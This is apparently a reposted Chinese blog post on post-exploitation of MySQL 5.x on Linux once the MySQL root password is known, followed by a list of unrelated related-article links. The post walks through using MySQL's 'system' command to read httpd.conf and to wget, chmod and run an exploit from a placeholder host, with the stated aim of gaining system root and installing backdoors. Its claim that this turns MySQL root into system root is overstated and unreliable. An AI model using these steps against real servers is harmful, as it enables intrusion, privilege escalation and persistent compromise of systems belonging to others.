mysql5.x for linux下面有一个函数,可以帮助我们干很多事情,这个函数4。x下面貌似没,原来一直没发现,也没去查函数手册,就我自己的经验来写点东西。4,x的明天再看看函数手册,再装一个实验一下。

mysql 5.x里面引入了一个system函数,这个函数可以执行系统命令,当mysql以root登陆的时候,就可以利用这个函数执行命令,当然是在权限许可的范围内。

一般我们按照常规思路,搞到mysql的root密码之后,我们都会连接上去,创建一个表,然后outfile,搞到一个webshell ,然后提权如此这般。今天我们换一种方式。

按照上面的方法,我们需要知道web的绝对路径,当然这个很不好找,有些有sqlinjection的,可能报错会显示出来,有的就不一定了。但是按照我的的方法,没有必要再去找web路径了,直接执行

mysql>system vi /etc/httpd/conf/httpd.conf;

直接这样就可以找到web的路径,当然,我们的目的并不是找web路径,放webshell进去。我们是要来做其他的事情,比如,下载exp执行,搞到root权限,然后装后门虾米的

mysql>system wget http://xxxx.xxx.com/xxxx ;

mysql>system chmod +x xxxx;

mysql>system ./xxxx;

这样mysql的root此时就成为system的root了,剩下的事情,如果开了ssh,就ssh上去,输入mysql的用户密码,ok,搞定。

或者,直接提权之后,下载后门安装,这个就留给大家去研究了。

转载于:https://www.cnblogs.com/allyesno/archive/2007/09/28/908951.html

Linux下mysql 5.x得到root密码后的另外一种利用方式相关推荐

  1. Linux查询MySQL用户名密码_请教,linux下mysql如何查询用户的密码

    匿名用户 1级 2016-04-23 回答 linux忘记mysql密码处理方法,下面提供了5种linux忘记mysql密码找回方法哦. 方法一: # /etc/init.d/mysql stop # ...

  2. Linux下修改mysql的root密码后数据库消失怎么处理

    Linux系统下如果没有通过password()函数修改mysql的root密码就会导致mysql数据库消失.有些人可能不知道而直接修改了mysql的root密码,于是产生了mysql数据库消失的问题 ...

  3. linux下mysql的root密码忘记解决方

    linux下mysql的root密码忘记解决方 1.首先确认服务器出于安全的状态,也就是没有人能够任意地连接MySQL数据库. 因为在重新设置MySQL的root密码的期间,MySQL数据库完全出于没 ...

  4. linux mysql解锁账号密码忘了怎么办,linux下mysql忘记密码怎么办

    前言 今天在服务器安装mysql之后,登录发现密码错误,但是我没有设置密码呀,最后百度之后得知,mysql在5.7版本之后会自动创建一个初始密码. 报错如下: [root@mytestlnx02 ~] ...

  5. Linux下MySQL忘记密码

    系统:CentOS6.6 64位 参考文档(截图请看原网址): Linux下MySQL忘记root密码怎么办_百度经验 http://jingyan.baidu.com/article/1709ad8 ...

  6. linux 下如何修改mysql授权,linux下mysql添加用户、删除用户、授权、修改密码

    摘要 腾兴网为您分享:linux下mysql添加用户.删除用户.授权.修改密码,之了课堂,云闪付,英语字典,易信等软件知识,以及pr安卓,彩绘大师,微软应用商店,广告屏蔽管家,pandahelper, ...

  7. linux上mysql忘记密码,linux下mysql忘记密码解决方案

    一.写随笔的原因:之前自己服务器上的mysql很久不用了,忘记了密码,所以写一下解决方案,以供以后参考 二.具体的内容: 1. 检查mysql服务是否启动,如果启动,关闭mysql服务 运行命令:ps ...

  8. Linux下mysql登录密码忘记解决

    Linux下mysql登录密码忘记,需要修改配置文件,跳过密码验证,这样登录的时候,不同输入密码,直接回车即可登录,然后重置密码,设置完成后,退出mysql, 然后将配置文件中跳过密码的代码删除,保存 ...

  9. linux 下mysql忘记密码或者安装好linux后不知道mysql初始密码解决方案

    linux 下mysql忘记密码或者安装好linux后不知道mysql初始密码解决方案 参考文章: (1)linux 下mysql忘记密码或者安装好linux后不知道mysql初始密码解决方案 (2) ...

最新文章

  1. ora-14400插入的分区关键字未映射到任何分区---oracle数据库表过期问题
  2. InstallUtil.exe版本引起安装windows services 服务遇到的问题,System.BadImageFormatException...
  3. 在单链表和双链表中删除倒数第K个节点
  4. python 列表中的数字转字符串_python 将列表中的字符串转为数字
  5. python多人游戏服务器_Python在线多人游戏开发教程
  6. 赵雅智_Swift(2)_swift常量和变量
  7. Python 西瓜书机器学习支持向量机(SVM)
  8. Daily Scrum M2 11-5
  9. Android之仿ele地图定位效果
  10. String转LocalDateTime
  11. python写作_开源一个Python文档写作应用:MrDoc
  12. 理解Iass Pass SasS三种云服务区别
  13. 【Python】字谜游戏
  14. 随机过程 Class 3 条件期望
  15. xampp 登陆MySQL 访问被拒绝
  16. 电脑Mac地址更改后有什么害处?怎么改回原来的?
  17. Liunx树莓派(ARM)开发篇—第十四章、树莓派Linux内核编译步骤(超详细、图文结合)
  18. 把数组里的数组合全部列出 (递归法)
  19. iOS 音频视频制作
  20. LaTeX中文、英文字体属性设置

热门文章

  1. TCP/IP学习笔记(五)TCP的保活定时器
  2. Redis源码剖析(四)过期键的删除策略
  3. 每天一道LeetCode-----找出给定序列的所有子序列
  4. java二重循环换行_Java零基础系列教程05Java二重循环
  5. 1012 数字分类 (20 分)(c语言)
  6. 工作中常用的kafka命令
  7. python常见的文件操作:打开、创建等
  8. 神经网络基础_反向传播_证明
  9. c++11 Type Alias
  10. 关于优酷开放SDK之setOnCurrentPositionUpdateListener